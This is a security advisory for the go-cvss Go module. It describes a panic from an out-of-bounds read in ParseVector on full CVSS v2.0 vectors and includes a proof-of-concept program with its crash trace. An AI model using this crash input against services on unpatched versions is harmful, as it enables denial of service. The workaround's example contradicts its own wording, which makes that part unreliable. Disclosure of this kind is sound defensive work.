Impact
When a full CVSS v2.0 vector string is parsed using ParseVector
, an Out-of-Bounds Read is possible due to a lack of tests. The Go module will then panic.
Patches
The problem is patched in tag v0.4.0
, by the commit d9d478ff0c13b8b09ace030db9262f3c2fe031f4
.
Workarounds
The only way to avoid it is by parsing CVSS v2.0 vector strings that does not have all attributes defined (e.g. AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M
).

Exploit example
package main
import (
"log"
gocvss20 "github.com/pandatix/go-cvss/20"
)
func main() {
_, err := gocvss20.ParseVector("AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M")
if err != nil {
log.Fatal(err)
}
}
When ran, the following trace is returned.
panic: runtime error: index out of range [3] with length 3
